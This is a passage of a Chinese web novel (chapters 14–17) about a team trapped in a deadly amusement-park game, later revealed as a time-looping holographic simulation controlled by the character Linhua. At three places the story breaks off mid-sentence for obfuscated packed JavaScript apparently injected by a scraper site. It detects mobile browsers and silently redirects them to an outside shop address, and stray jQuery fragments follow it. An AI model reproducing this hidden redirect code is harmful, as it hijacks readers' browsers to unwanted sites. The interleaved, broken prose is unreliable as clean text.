霜白语静静地看着人表演，淡淡问道，“谁来着？” 白毛一听这话，顿时双眼一亮，甚至能感受到她整张脸都格外明亮起来。 “既然你这么想知道，那我也不是不可以告诉你！” “不，突然没有那么想了。”霜白语默默目移，很扫兴地打断了对方的做法。 “好吧。”白毛耸搭下眼皮，一转眼变成了电量耗尽亟待充电的模样。 “先别着急进入待机状态，”霜白语转回看向一边的目光，严肃落在面前的人身上，“没人告诉你背后偷袭别人很没礼貌吗？” 白毛头顶的呆毛一凛，跟感应天线似的装傻充愣，“怎么会呢，刚才明明是我更吃亏好吧。” “所以呢？” 白毛眨巴眨巴双眼，脸上挂起一个相当浮夸的假笑，同时反问霜白语表示自己不明白他在说什么哦~ “找我出于什么目的，为什么偏偏找上我之类的客套废话。” “哦哦那个啊。” 白毛左右晃动身体，抬起手搭在额前比了个远望的姿势，又踮了踮脚尖，无意义的一堆动作后，她冷不丁接续上话语。 “因为是你最先提出的寻找对象未必是八、九岁的一对女孩子嘛。” 霜白语一愣。 “哈哈哈哈哈哈你相信了对吧！你刚相信了！绝对是相信了的，就你刚刚那副表情！” 白毛神经质地爆发一串笑声，全然没有说上一句话的严肃认真，边笑边拍着手掌，为自己恶作剧大成功送上掌声。 “我只是觉得你有点太吵闹了，”霜白语没在意对方前后变化极快的态度，将落在白毛身后的视线收回，好心提醒对方，“而且你没注意到，自己被除我以外的其他人盯上了吗？” 她在那一瞬绷紧了身体，歇了几秒前笑得前仰后翻的夸张动作，脸上的笑痕跟着收敛了，像是一副画一般静立在原地。 毫无疑问，她意识到了霜白语说的话并没有错。 “那么现在我们可以好好聊天了吗？” 霜白语借着临时队友的势狐假虎威道。 白毛眼皮一跳，半敛着的眸定定地望向他，“你想问什么？” “很简单，关于刚刚你说的那句话，我试着反推了一下。” “也许你正好是人物本中提到的我们真正要找的人，躲猫猫的精髓在于如何更好地掩藏自己身份，那还有什么比一开始就出现在‘鬼’的边上混淆视听更有效呢？” 14. 实则不然 文和另一个队友去而复返，在接收到霜白语的信息后，他让其他人继续原先的计划，自己和分组的队友绕过广场，从白毛来的那条路过来，这样隐隐形成了一个不算多严实的包围圈。 有别于单纯在路上走过的普通行人无意中望过来的一瞥，白毛能很清楚地感受到被重重叠叠几层以外的视线锁定是什么感觉。 在霜白语跟她有一搭没一搭说话时，白毛便已经知晓身后总共有几个人跟眼前这位相识。 确认对方结束了发言，她缓缓弯起双眼。 “你好，有的，有更好的。” 白毛堪称礼貌地应和下霜白语的话。 “那当然是自己当鬼了。” 她施施然地重新笑起来，和先前任何浮夸又刻意的表情都不同，那些只是为达成目的的必要手段，而这次是发自内心的笑容。 “本来想说你们人多势众我肯定打不过也跑不了的，但实际上你们被我包围了哦。” 砰。 她对着霜白语，无声模拟了一个爆破的音效。 白毛背对着文他们，这意味着露了一大片破绽给别人，但一个会选择从后面攻击别人的人，会这么明显地空门大敞吗？ 再者这站姿让文他们绝无窥伺到白毛表情的可能。 脚步声近了许多。 这么一会功夫，文领着队友靠近到了两米开外的位置，白毛清楚这一点，她对着霜白语露出一个不怀好意的笑容，再像是被突然发声的人吓了一跳，猛地往青年身后一躲。 顺带不忘揪住霜白语的衣袖一角，用怯生生的口吻道歉：“哥哥，你不要生我气了嘛。” 霜白语有一瞬想要闭起眼，原地从这个世界扬帆起航。 怎么一个两个都喜欢往他身后闪避，他是什么万能好用的挡箭牌吗？ “呃……” 老高大一截的文走到霜白语斜对角处站定，略微倾身向前，大概没想好该怎么开口不显得突兀，又不会让人觉得纯心找茬。 “你演得有点过了，可能没提前了解过，霜他一直都是独立行走的，没听说有个什么爱闹变扭的妹妹。” 白毛的眼角小小抽搐一番，她切了声，松开霜白语的袖子，“行吧，算是我出师不利。” 霜白语敛眸，不着痕迹地往旁边挪过一小步，他刚其实并不是单独发给某个人这一消息，而是在临时拉的组群里，所有人都查询过了他的消息，实际来的人…… 除了面前的文和另一个队友，不远处的灌木草丛摊位边，那对像是情侣的组合也在，没靠近但绝对有在关注，还有个正坐在长椅上吃着新鲜出锅的烤串，和他分在一起的人显然就没这么淡定了，每五秒钟回头一次，以至于完全没有起到隐蔽的作用。 虽然单从刚刚白毛说的话判断，她一人把他们所有人都包围了，大概也是知道具体是怎么一些组队的成员。 “不过……” 白毛重新开口打断了此时无人说话的安静氛围，“虽然霜现在还不是我哥哥，很快也会是的。” 这话说得像是要拉他去神隐，很危险的发言。 有其他人在行，白毛表现得没有单独面对霜白语时的乍乍呼呼，等另外几人意识到行踪暴露跟着聚拢来，她清了清嗓子，像是要做重要讲话那般开口了。 “很高兴你们通过了最基础的测试环节，我是你们的指引人，可以称呼我为索尔卡特。” 白毛捏着裙裤的两边，给大家行了个不怎么标准的问候礼。 “我们凭什么相信你说的就是真的。” 白毛左右摇晃着手指，“所有需要人自证的都没有存活下去的资格，你确定要这么问吗？” 又来了。 这种像是引诱人逆反的说法。 这时候选择转移话题才是正解，但刚发问的人显然不这么想，反倒觉得抓到了白毛在搞鬼的证据。 “果然是你想吓唬我们，一旦跟着你走了指不定真就被你当刀使了。” 白毛拉长了调子感慨了一声。 “我也真的好多年没见过你这样上赶着送死的蠢货了。” 她伸手搭上文身边那个叫嚣的队友，“既然如此，我刚好把你演示一下，违反规则是怎样的下场吧。” 那人只来得及感觉到一股强烈的吸力从脚底传来，整个视界由大及小，像是坠入瓦罐中的蜘蛛，顶部盖上封口后迎来了绝对的黑暗，他的意识到此为止。 站在别人角度看他，在被索尔卡特碰到那瞬间，他的身体像一个旋转的黑洞，转眼折叠消失不见。 一个前一秒还能说会动的人突然就这么没了，队伍中没有人为其打抱不平，本身也就是临时组成的队伍，彼此间并没有熟络到哪去。 甚至多亏了他的犯蠢踩雷，帮他们捋清了一条消息，规则必须遵守，这点完全无法违背，哪怕有通天的本事都改变不了违规后的绝杀。 好在对违反规则的判定不算太严格，会给到一次补救的机会。 “现在我有资格带领你们进行下一步了吗？” 众人识趣地退到一边，留出能供一人通过对距离，大家的态度称不上多恭敬，最多算得上是配合。 擦肩而过时，白毛嘴唇微动，声音缓了半拍落到霜白语耳中。 她说：“欢迎参与本场互动式体验计划。” 一行人以索尔卡特为首，接二连三地跟上她的脚步，霜白语走在队伍最后方，默默思考着她刚才的那句话。 没有太多的信息，不好妄加揣测些什么，不然很容易让自己陷入被动局面。 索尔卡特带他们走了大概十来分钟的路程，单纯作为队伍中的一员跟着时并感觉不出有任何不妥，但如果有谁从空中俯瞰，会发现她每一步都有固定的步距，一路转着弯地把身后几人带到了新的地点。 “好了，就是这里，”白毛边说边推开明显像是员工通道的入口边门，“你们要在这里当一天的临时工，里面的每个人有任何需要帮忙的地方，只要喊到你了便不能拒绝，拒绝的话会有很不好的事情等着你们哦。” 实际进入的通道比想象中更深，先是上行的一段台阶，拐过一处平地后又是下行，再进去左手边的一个入口，到了电梯厅。 瞧着索尔卡特的模样，她还会再送他们一段，等到对应楼层才会离开。 实际也确实如此，只除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405192|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了对方像幽灵一样突然隐身不见这点不在预料之中。 他们几个面面相觑片刻，现在细想从索尔卡特出现后，主动权已经不在他们手中，虽然有人主动来带着展开剧情比两眼一抓瞎好得多，但这又意味着风险加大，手中的信息却没有多出太多。 “刚才往周围探索的时间太短，根本不够发现有用的线索，现在被带到更加陌生的地方，总感觉会更容易踩雷了。” 如音——就是先前在霜白语说自己想法时表现得不太信任的那位女性——率先出声，实际上她跟自己男朋友走出没多远，对方先发现的霜羽被找上这事，当时他们在距离相对远的地方观察了一下他的反应。 本来是想趁机借别人摸一下霜羽的底细，并没有第一时间靠近，后来发现索尔卡特挨了一脚后没有继续攻击的意思，他们又往前走了些，但仍然在不远不近的位置。 “要说刚才跟人相处时间最久的，就得是你了吧，在我们完全过来前，索尔卡特没跟你说别的吗？你别故意隐瞒起来不说，自己偷偷推进度。” 如音的男朋友很不客气地质疑。 “确定要在这里和我讨论这种问题吗？” 霜白语学着索尔卡特的口吻反问对方，事实证明在这种情况下效果拔群，对方脸色难看了一瞬，但到底没表现得太咄咄逼人，当然也有文当和事佬的原因在里头。 “现在到底不是合适的时机，而且我相信霜不是那种刻意隐瞒消息的人，虽然我们才认识没多久，但同意加入队伍的都默认多人合作比单打独斗的容错率更好，手头信息越少的时候，有那么一点信息绝对不会藏私，毕竟消息这种东西谁也说不好，有时候一个人知道太多未必就安全。” 霜白语诚心为文的中肯发言鼓掌，“是这个理，我确实没有更多的线索，甚至还奇怪对方怎么就挑中了我偷袭呢。” “真不是我说，你们要有心思在这里搞队友心态，不如先看看周围环境，有没有感觉比几分钟前刚来的时候要不对劲多了？” 他的话让如音他人一愣，后知后觉地发现没了先前那个消失的队友，他们好像在不知觉间接替了相应的角色，专注对别人挑刺。 有前车之鉴在，谁会没脑子到不看场合张口就找人麻烦，这地方确实不对劲。 “是因为墙上的涂鸦吗？” 电梯门开的瞬间，给他们最直观的感受是从现代普普通通的一个游乐场十分有壁地切换到了暗黑朋克风格。 两侧墙壁上满是撞色系的油漆泼画，墙体高度有四五米，整一面满满当当全是风格另类的图案，看久了容易影响心情。 他们在陌生环境又习惯打量周围，警惕潜在埋藏着的危险，等意识到不对劲时，已经中了招。 “你们看前面。” 他们一众人的脚程不算慢，加上进到这一层的时间，足够走过半个游乐场，但直到现在，面前通往的地方还是黑黢黢的一片。 霜白语隐约觉得眼前所见莫名地很有一种即视感，为了验证想法，他很突然地回头看了一眼身后。 上来的电梯厅远远坠在他们身后，并没有表演原地蒸发。 看来是他想多了。 15. 别搞心态 霜白语刚准备回身继续往前走，强烈的危机感迫使他以一个相对变扭的姿势，在没有完全回正脖子的同时往后面撤去。 完成这一切后，他抬眼望向几步开外，他原本该在的位置。 那里凭空多了点别的。 对方像蜘蛛那般倒立悬挂在半空，毫无任何预兆地出现在他们中间，确实打了他们一个措手不及。 其他人一惊后反应过来，迅速地四散开。他们动作一致，戒备地望着正中心的存在。 宽大的演出服装遮去了垂下来这人的上半身和脑袋，整体像个倒悬的麻袋一样飘飘荡荡地摇晃，脚上勾着的锁链顺时针牵着转过一定角度，等彻底转不过去后又逆时针重新转回去。 “啊……你们到得好慢，等得我都睡着了。” 长长的一阵哈欠声后，满是倦意的嗓音咕哝着闷闷地响起，听着像是少年人的声线。 麻袋、不，演出服下有什么东西蛄蛹着挪过了一截。 “按照正常上班作息看来，你们这妥妥已经算迟到了。就因为你们没准时到工位，害我被催着过来找，休息时间全拿来做这种没意义的事情了，新人就是麻烦。” 抱怨完毕，他一个鲤鱼打挺，借着腰腹的力量把自己身形扭正了，顺重力落下的演出服后露出了他的真容。 浅色系的头发无比杂乱地翘着，幼圆的娃娃脸上满满都是不耐烦的表情，一边说一边不忘穿插几个没有意义的语气助词。 众人被他啧得寒毛直竖，绷紧了浑身的肌肉更加严密地提防着他的一举一动。 “索尔卡特在半小时前就把你们送到这层了，怎么墨迹这么久，还没开干就临阵退缩，这可不是个好习惯。” 他浓密的白色长睫朝下敛着，靠道具悬停在空中的姿态让他足以居高临下地俯视所有人，他毫不掩饰自己看屑一样的眼神，无差别放送给脚下的每一个人。 埃斯特目光扫视过所有人，在霜白语身上停留的时间明显要长一些，片刻后，像是确认了他的身份，附赠对方一个说不清道不明的眨眼。 霜白语沉默，他是被谁下降头了吗？这种时候被特殊关照可不是好事。 埃斯特絮絮叨叨说了不少抱怨的话，在此之间，其他人只是皱眉警惕，没有任何人选择出声，毕竟他们并不确定这时候解释或者质疑是否同样是陷阱。 “怎么还愣着？”埃斯特不满，一勾脚收了锁链，从三米多高的地方跳下来，稳稳当当落地，他拍了拍裤腿上并不存在的灰尘，催促在场的六个人。 “赶紧上工啊，非要我三催四请的，这么把自己当盘菜。” 说着他扭头率先往前走去。 不知道是不是因为埃斯特的出现，被不知名存在判定为他们达成了某种标准，原本黑漆漆一片不知通往何处的走道上出现了一扇高耸的大门。 非常像游戏中要切换不同场景前遇见的那种开关门，复古雕饰考究地点缀在门上，从高度判断厚度同样可观，需要成年人卯足了气力才能手动开启。 下一秒，埃斯特抬手按了上去，门板的铰链处传来与想象一致的沉重周转声。再看他本人，轻轻松松完全没把这事放在眼里的模样。 看不出来还是个怪力少年。 “赶紧的吧你们，再耽误不止是你们被削了，连我都会有麻烦。” 埃斯特示意众人跟上，他脚步轻快，也没见怎么加速，几秒的时间距离他们突然很远。 虽然他话里话外都在表示火烧眉毛的急，但目前还没有他先前提到过的角色出现，一行人边在能够及时做反应的范围内活动，找寻可能存在的线索。 哲平轻轻推动着眼镜框，往旁边半步远的葵那一靠，手动将本就不多的距离缩减，他扯过葵的袖子，在引来后者注意时，挤眉弄眼示意人看身后不远处的霜羽。 “刚才我看到那人对他WINK了。”哲平微张嘴，翘动舌头发声，嘴基本保持不动，从源头杜绝别人靠唇语偷听的可能。 霜白语抿了一下唇，视线扫了眼周围景色，盯着埃斯特越来越遥远的身影，恨自己听力太好，对方背着他的小声蛐蛐跟当面说没什么区别。 “……别用你八卦的眼神跃跃欲试，很恶心。” 葵出声打断他前，先看了眼不远处的青年，虽然哲平的发现值得细究，但绝对不是以这么无聊的方式。 “什么叫很恶心，这明明是重大发现。” 哲平抓着拳头愤愤地捶打空气，又很小心地控制着自己的音量，“之前索尔卡特出现也是奔着他为首要目标去的，还有这个怪力少年降临的地方，也是完全卡着霜羽回头的位置，要不是他警觉第一时间退开了，完全就碰头杀了啊！” 哲平自问：“这说明什么？” 还是哲平：“说明霜羽完完全全就是魅魔来的！” 滚啊。 霜白语一阵恶寒，他承认自己是莫名有点拉仇恨，但这话说得也太变扭了。 显然他的同伴和他感受一样，很果断地无视了他的胡扯。 埃斯特彻底消失不见了，借着这个机会，除开他们三个在眼前这块区域活动，文、如音和她男友去了稍远一些的地方，最开始出电梯后的涂鸦在越过了那扇厚重大门时已经消失不见，取而代之的是一片淡紫色宛如干冰泡水后源源不断冒出的气体。 极大程度限制了他们获取消息，甚至可以说是一无所获。 “你们还在这里呀？” 突然响起的一声质问，还在边场游走的三人暗道不妙，装作活动筋骨的样子舒展着四肢迅速回撤。 和想象中恐怖的任务发布者不同，来的是个小女孩，脸上没多大表情，但比起他们先前见到的那两位，她看上去正常得多，起码像是能好好沟通的那种类型。 不过可惜，事实证明了人不可貌相，目前这种情况下很多常识判断都不再准确。 小女孩抬起右手臂，将其整个伸直了，缓缓掠过面前的六个人。 “你，”她指向哲平，紧接着又滑向如音的男朋友，“你，还有——”，她的手臂继续在空中划着平直的线条，最终指向了霜白语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405193|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你。” 不知是有意还是无意，小女孩点中的前两个人刚好在加入这个临时队友前有各自的搭档，但眼下被一一拆开，“你们三个先跟我来，剩下的三个再等一会，她马上就过来了。” 索尔卡特先前的提示重新在几人脑海中过了一圈，如果有任何人需要他们做事，不能拒绝，否则后果得他们自己承担。 那么现在既然有意要这么把队伍拆散，他们也只好顺着意，不敢贸贸然行动。 小女孩点完名后没再多说什么，转身就走，三人默默跟上他。 这其中要属哲平最难受，谁能想到还有强行拆分队伍这种事啊，拆分也就算了，那么多的组合就非得把他跟霜羽分在一起吗，他可刚找过葵吐槽人啊。 现在尴尬的理由在于，葵告诉他，自己先前以为很小声的蛐蛐人的话，被正主一概不落地全听了去。 救救，还有什么比蛐蛐完人，一转头发现当事人就在自己身后更让人无地自容的事啊！ 哲平一度走出了同手同脚的步伐，笑死，根本不敢看边上的人到底什么反应。 嗯……话有点说早了。 事实证明上面那句感慨确实还有个更高级。 如音的那个男朋友，叫什么不知道，哲平加入队伍的时间比他俩要早，但如音说出名字后，她的男友并没有和他们互通有无，只说了自己是如音男友的身份。 哲平对对方故意踩掉他鞋子的行为非常不满，从先前的尴尬处境中转移，化身喷火龙地打算用眼神烧死如音男友。 眼瞅着小女孩对他们间的暗自较劲没表态，哲平回头瞪人。干什么！他无声质问，第一次踩到他都当人太紧张不是有意的，但接连三次就是刻意针对了哈。 如音男友扬了扬眉，眼神示意哲平边上的青年，找机会推他出去。 他倾向于做出这样的选择是基于一定考量的，目前的队伍中除了他跟如音，也就这个眼镜和他同伴是两两组合的，文虽然是单独一人，但据他一路的观察看，对方有一定武力值，关键时刻卖了肯定会出意外。 但霜羽不一样，他本身就比他们受到更多的注意和针对，仇恨值更为集中，而且看他先前出招的样子，对危机的感应还成，但爆发力相对欠缺，近身算是弱点。必要时拿来当挡箭牌是个不错的选择。 大哥我真求你了。哲平在心底哀嚎，感觉魂都丢一半了。但显然他没法真得说出口，只能疯狂用眼技跟人交流。你这是在当着人家的面商量怎么把人卖了啊啊啊！ 如音男友：“？” 霜白语不咸不淡地朝哲平递过去一个眼神，后者堆起的笑容称得上一句谄媚，比划了一个手拉拉链的动作，没再搭理后头那个不小心步了自己后尘的倒霉蛋。 算了，惦记上如音男友后就不能再打他了哦，毕竟他只是口嗨，而后面那位是真想要您的命诶。 霜白语轻笑一声，没等真正说些什么。走在前头的小女孩听到动静回头看了他一眼，突然顿住了继续前进的步子。 霜白语撤回一个笑容。 16. 剧情必杀 轻柔的歌声从遥远的地方响起，在耳边回荡时，好似隔了一层纱，听不清具体的唱词，但旋律始终连续地传入耳中。 毫无头绪却不得不向前推动剧情发展的现状让他们时刻紧绷着神经，这时在歌声的作用下得到了舒缓，甚至一度让人忍不住想要跟着旋律哼唱。 不过出于对歌声或许也像涂鸦一样，会是某种污染源，被迫留下的三人维持着了理智，没让自己在这时候掉链子。 他们并没有等太久，歌声骤然停止后，不远处的黑暗中传来叩叩的两声响，一个顶着超长逆重力双马尾发型的女孩子出现在了他们面前。 看清对方模样的瞬间，文难免皱眉。 太像了，和不久前那个女孩子，除了发型和眸色有区别，完全就是一个模子刻出来的。 “我们要找的难道就是她们吗？” 如音压低了声音，像在自言自语，又好像说给边上两人听，“如果是的话，任务不就完成了吗？” “感觉没那么简单。” “……”葵没发表感言，他只是拿着手机告知了另一个的队友。 对方特地把他们拆开，又分阶段出现，确实很能打出信息差，但留在原地的几人总会有办法联系上先行离开的队友。 单从结果来说，这做法看起来没有多大必要。 哒、哒、哒。 女孩以固定的步幅向前迈进，她始终微扬着下颌，让人毫不怀疑换一身装束她可以自如地行走于舞台之上。 “你们没有什么要问我的吗？”小女孩安静地观察着他们三个的反应，不解地歪了歪脑袋。 和之前直接选择带人走不一样，她看上去没打算安排他们做什么事。 问，还是不问？ “没有想问的吗？”她又重复了一遍。 如音咬紧了后牙槽，这期间她的下眼皮跳动了好几下，几乎消磨掉了她最后一点耐心。 实在是不能理解另外两个人到底在纠结什么。既然他们不说，那就由她来问。 “是这样的，之前我们应其他人的请求，希望帮他找一对八、九岁的双胞胎。但由于没有更详细的信息，事先并不知道要找的人已经出现过，直到你来……现在我想问，你是不是我们要找的那对双胞胎之一。” 其实说到后来，如音发现了不太对劲的地方，先前的小女孩很肯定地告诉他们一会‘她’会来，说明对方在此之前一直有在一起行动。但话都问出口了，突然噤声很奇怪，而且她不认为这会触发死亡机制。 是对方率先开口询问的。主客体不一致。 “嗯，是这样没错的。”小女孩十分乖巧地点点头，她的眼角微微上挑，露出一个不符合年龄的违和笑意。 但没等如音彻底松下一口气，她突然顿住，愕然的情绪攀爬上她的脸颊，如音发现自己动不了了。 这好似某种瞬时扩散的危险源，无法抵抗，发现的刹那就意味着中招。 葵有种仿佛头皮都炸开的毛骨悚然感，他想迅速后撤，但身体完全不受他控制。 三人冷汗涔涔直冒，他们眼看着小女孩一步步走近，却什么也做不了。 “真傻啊，你们真得问什么答什么。”女孩轻笑，点了点太阳穴的位置，“脑子是个神奇的好东西，大部分人因为想太多反而掉进陷阱。” 她抬起手指在空中绘着弯弯绕绕的线条，然后捧起脸颊，用激情澎湃的语气现场演绎着不知谁的心路历程。 “我该不该顺着话题继续？别人试错过的坑不能再踩，要往反方向思考才不会陷入同样的困境！规则绝对不可违抗，但从哪一步开始才算规则的辐射范围……” 她的话音至此稍稍停顿，再开口时恢复了平静，“错啦，从一开始就错啦，这种文字类的游戏只有直觉系才不会吃亏。而一旦你们开始思考就意味着迟疑，想得越复杂陷得也就越深，我再一重复，你们就会顺着我的话说下去。” 咄咄的脚步声持续不间断地响着，小女孩跟他们一点点地分析着失败的理由。 “是啊，剧本要求的是找一对八、九岁的双胞胎，可在这一时间轴上，这个结论并不存在，一旦你们率先代入了这个条件，就会像现在这样——被剧情杀。” 小女孩的眼神陡然冷下来，她用手掌遮挡住下半边脸颊，望过来时，有那么一瞬间让人幻视索尔卡特。 “不过可惜的是，遭遇必死的剧情杀后，迎来时间重启的你们并不会记得这些，如果再次被年龄信息误导，还会有第二次、第三次……永久的循环。” 话音缱绻地自舌尖落下，她欣赏着面前三人表现一致的错愕，贴心地跟他们道了别。 “期待我们下次再见。” . 哲平精神一凛，先前那种浮夸的反应在一瞬间消失无踪，整个人跟着严肃起来。 在他旁边的霜白语不动声色地看他一眼。 对方的状态显然不对劲，但反应滞后于前面小女孩回头的时候。 那就只可能是那头被迫留下的队友出了意外，会跟小女孩之前提到的‘她’有关系吗？ 霜白语在思考。 虽然跟其他人接触不多，但剩下的那三个人的武力值低不到哪里去。能在一瞬间制住三个成年人，按照先前的经历来看，多半是他们违反了什么新的规则。 等一会找机会问问哲平，对方已经维持一个表情长达两三分钟了，看起来有点死了。 哲平实际并没有表现出来得那么镇静，心脏一瞬骤停后漏跳一拍的难受劲还没缓过来，他现在连呼吸都要有意识的控制。 就在刚才，葵的生命体征消失了！在这之前不久，他收到了葵发来的信息，很简短地写着：别多想。对方说话一贯简介，多年来的默契还是让哲平感受到了葵写这话的匆忙。 “你们……” 小女孩出声询问打算了霜白语和哲平的思路。 她眯了眯双眼，接续自己上一句话，“有什么想问的吗？” 来了，这个和她的双胞胎姐妹说得完全一致的诱导话语。 如果霜白语他们知晓另外三人的经历，大概率能避开这个隐藏的言语陷阱。虽然当时只有如音一个人选择了询问，但实际上他们都满足了触发必死剧情的条件，因为文和葵在如音出口的瞬间，跟着代入了那个前提思考。 唯一的解法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405194|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不是顺着话题接续，而是转移重点。 啧。 霜白语好似不耐烦地挤出个无意义的单音节，在小女孩看过来时，他扯起一抹很假的笑容。 “都这么久了，哪怕是蚂蚁也该上树了。” 他的话仿佛成为了某种信号，周围一切都在悄然发生变化，但介于有他人的注视，这种变化并不明显。 但这瞒不过出于验证某种猜想而时刻都留心着周遭环境的霜白语。 哲平呆愣地看着青年突然化作一片猩红的双眸，脑海短暂空白了一瞬。 他先前的思路没错，接连登场的几个人像是在和他们玩某种回合制游戏，一旦他们陷入两眼一抓瞎的境地，就会有人恰到好处的出现，递给他们新的抉择方向，或迫不得已、或顺势而为。 简直就像肚子里的蛔虫一样，一举一动都被瞩目着。 太刻意。再加上这莫名其妙的针对，天地良心，霜白语自认不是什么了不起的欧皇，好歹不至于非酋到碰见个人就把他当棵菜一样的特殊关照。 上一次这么明显的‘偏爱’，还是圣欣高校的画展开放前夕，凛华在其中搅浑水。 决定来游乐场放松心情前，霜白语查看过监控，凛华并没有乖乖待在家里，那么以他这么爱凑热闹的性格，迟迟不在他面前刷存在感这件事本身就很反常，信他改邪归正不如信狗能拒绝自己的天性喜爱的食物。 除非—— 环境的变化彻底停止，霜白语跟着吐出了他的结论。 事件所有的走向都由凛华控制。 现实的场景被覆盖替换成无数的像素点，缩小成一格格的监控画面。 咔嚓。 糖果被咬碎在牙齿间，凛华抵着碎裂的糖块，单手托住脑袋，他收回长久落在屏幕上的视线。 半敛下的睫毛遮不住他眼底晕开的浅浅的一丝笑意。 “这回竟然才死一次就发现了不对劲的地方，”他伸手划过面前的一排排按键，“看来还是得加大一些难度，太容易通关，就丢掉很多乐趣了。” 手指在空中勾动两下，边上一抹黑影随之向前，将推拉杆往回拨过了一截。 监控画面跳出胶片时间轴，刻度尺按照下达的指令迅速地滑动，最终停留在既定的位置。屏幕上的三角实心符号短暂的一滞，切换成两条竖线格，启停的镜头重新周转。 霜白语垂在身侧的手指神经质的一缩，他看向刚才开时的方向。 受冥冥之中出现的感应召唤，哲平跟着霜白语的动作向那边望去。 阴影覆盖的地方率先步出一只鞋子，穿着演出服的少年打着哈欠出现在他们的视野范围中，而在他的身后，是文、如音和葵三人。 “真是的，你们三个能不能像前面那仨一样自觉啊，别走到一半突然闹失踪，还得我负责一个个把你们捞回来。” 霜白语看向侧后方，就这么一回头的功夫，原本带着他们先走一步的女孩子已经不见了踪影，仿佛从来没出现过。 他看了眼身旁的哲平，对方明显也有瞬间的迷茫，但很快，那点情绪被抚平，像风刮走的一粒尘埃，几不可察。 不对。 17. 云山雾罩 人偶在一边不停地制造噪音，凛华不耐烦地朝其瞥去一眼，这还是之前的那个眯眯眼人偶，游香陷入麻烦后，他顺带着捞走了这一个，都到他手里了当然可以是他的。 在遭到冷不丁的一个眼神警告时，眯眯眼人偶眉间聚拢，眉尾下压，一点点冷汗沁出挂在额角，它也不笑了，只是抬起精致的手指关节点了点其中的一个监控画面。 凛华顺着它指的方向看去，屏幕右下角的那块监控忠实记录着发生的所有。 魅魔意外地挑眉，改变背靠椅子休闲的坐姿，倾身向前凝视屏幕另一头的霜白语。 半晌，他缓缓勾起嘴角，好心情地哼起跑调严重的旋律。 “真意外，竟然没完全清除掉记忆吗？” 凛华站起身，往监控室外面走去。 仿佛全息游戏休眠舱的东西成排罗列在侧，每五个舱配备有一个数据员实时监测着全息世界，看是否存在异常BUG需要清理。 凛华目标明确地朝着角落走去。全封闭式的游戏舱并不能窥见内里具体是谁，但作为将主角投入其中的幕后推手就不一样了。 他喊过边上的数据员，跟对方说明了监控画面记录的异常。 数据员认真听着，时不时往本子上写点什么，“我明白了，现在就反馈专员清除BUG，游戏很快会恢复平衡。” “嗯，那样最好，毕竟为了公平起见，我们决定不能姑息这样的开挂行为嘛。” . 和以往瞬息间降临的异变不同，这回慢得有些不明所以，但同样不是什么好消息。任何时候超出预料的变化都只会给人带来后续一系列麻烦。 霜白语紧簇双眉，周围本就不多的人声彻底远去，实际存在的背景片闪着五颜六色的碎点，在正常和像素花屏之间来回切换了几次。 他垂在身侧的手做出从衣兜里掏出东西的动作，转而往就在边上的哲平身上一丢，而后像是放弃了抵抗，静静等待着新一次异变结束。 还在原地的不同生物人种被一一抹去，流沙般随风飘逝，信号源丢失前骤闪而过的一线后，世界重新陷入了寂静，漫长的黑暗延续了不知多久，游戏重新载入画面。 时间轴再度重启。 霜白语最先恢复的是听觉，隔了有段距离的小声交谈远远地传进他耳中。他很少有身体沉重的感觉，那不是单纯没休息好的疲惫，更像是他从悠远漫长的岁月中醒来，意识还未完全复苏，感官却已经先一步接收环境中的所有信息。 不足以完全被承接，偏偏控制不住的照单全收。 他正站在一排木质货架前，手中拿着清扫用的工具，零碎的画面断断续续地闪过脑海，陌生、毫无代入感，比起亲身经历，更偏向于旁观着他人的过往。 “哥哥。” 一声呼唤引来了霜白语的瞩目，他打扫的动作一顿，用目光示意对方开口。 “我可以吃糖吗？”那大概是八、九岁的一个小女孩，她的眼中满是渴望，眨巴着双眼，和霜白语短暂对视后，她的注意更多地放在货架的那一罐糖盒上。 显然糖果盒放置的高度远远超过了她伸手能够到的极限，不得不求助附近的人，刚好霜白语看起来很好沟通，是个不错的选择。 “这并不是我能做决定的。” 霜白语遗憾地叹气，表示自己只是前来帮忙的一员，“我得想办法征得主人的同意，毕竟你瞧，我不过是个拿钱办事的。” 小女孩双手扒住货柜架子的边缘，竖起一根手指，眼泪说来就来，蓄积在化作蛋花眼型的眼眶中，她小声地用着商量的语气再度开口，“就一颗，哥哥，我要的不多，你瞧这个盒子边缘没有封起来，这种散装的糖果，偷偷地拿走一颗，就算是这个盒子的所有者，也不会发现有缺少的。” “我们悄悄的。”她持续不断地说着，语调到了后来逐渐变化，比起恳求或者摆脱，更贴合蛊惑的声线在反复叙述着一个要求。 “哥哥，我保证，你不说我也不说，这就只是我们两个人的秘密，没有第三个人会知道这点的。” 